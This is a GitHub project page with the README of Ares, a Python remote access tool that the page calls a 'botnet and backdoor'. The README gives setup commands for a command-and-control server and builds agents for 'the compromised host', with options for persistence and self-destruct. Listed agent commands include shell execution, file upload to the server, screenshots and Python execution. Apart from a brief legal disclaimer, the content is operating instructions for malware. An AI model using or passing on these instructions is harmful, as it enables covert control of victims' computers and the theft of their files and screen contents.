https://github.com/sweetsoftware/Ares
  
  
    Python botnet and backdoor 
    https://github.com/sweetsoftware/Ares
  
        Last synced: 7 months ago 
        JSON representation
    
Python botnet and backdoor
- Host: GitHub
 - URL: https://github.com/sweetsoftware/Ares
 - Owner: sweetsoftware
 - Created: 2015-10-18T12:26:27.000Z (about 10 years ago)
 - Default Branch: master
 - Last Pushed: 2023-03-02T12:43:09.000Z (over 2 years ago)
 - Last Synced: 2025-04-01T00:37:02.434Z (7 months ago)
 - Language: Python
 - Homepage:
 - Size: 18.9 MB
 - Stars: 1,580
 - Watchers: 126
 - Forks: 476
 - Open Issues: 43
 - 
            Metadata Files:
            
- Readme: README.md
 
 
Awesome Lists containing this project
- awesome-hacking-lists - sweetsoftware/Ares - Python botnet and backdoor (Python)
 
README
          # Ares
Ares is a Python Remote Access Tool.
__Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.__
Ares is made of two main programs:
- A Command aNd Control server, which is a Web interface to administer the agents
- An agent program, which is run on the compromised host, and ensures communication with the CNC
The Web interface can be run on any server running Python. The agent can be compiled to native executables using **pyinstaller**.
## Setup
Install the Python requirements:
```
pip install -r requirements.txt
```
Initialize the database:
```
cd server
./ares.py initdb
```
In order to compile Windows agents on Linux, setup wine (optional):
```
./wine_setup.sh
```
## Server
Run with the builtin (debug) server:
```
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
```
Or run using gunicorn:
```
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
```
The server should now be accessible on http://localhost:8080
## Agent
Run the Python agent (update config.py to suit your needs):
```
cd agent
./agent.py
```
Build a new agent to a standalone binary:
```
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent
``` 
To see a list of supported options, run ./builder.py -h
```
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
                  [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
                  [--max_failed_connections MAX_FAILED_CONNECTIONS]
                  [--persistent]
Builds an Ares agent.
optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Target platform (Windows, Linux).
  --server SERVER       Address of the CnC server (e.g http://localhost:8080).
  -o OUTPUT, --output OUTPUT
                        Output file name.
  --hello-interval HELLO_INTERVAL
                        Delay (in seconds) between each request to the CnC.
  --idle_time IDLE_TIME
                        Inactivity time (in seconds) after which to go idle.
                        In idle mode, the agent pulls commands less often
                        (every  seconds).
  --max_failed_connections MAX_FAILED_CONNECTIONS
                        The agent will self destruct if no contact with the
                        CnC can be made  times in a
                        row.
  --persistent          Automatically install the agent on first run.
```
### Supported agent commands
```
Executes the command in a shell and return its output.
upload 
Uploads  to server.
download  
Downloads a file through HTTP(S).
zip  
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python 
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
help
This help.
```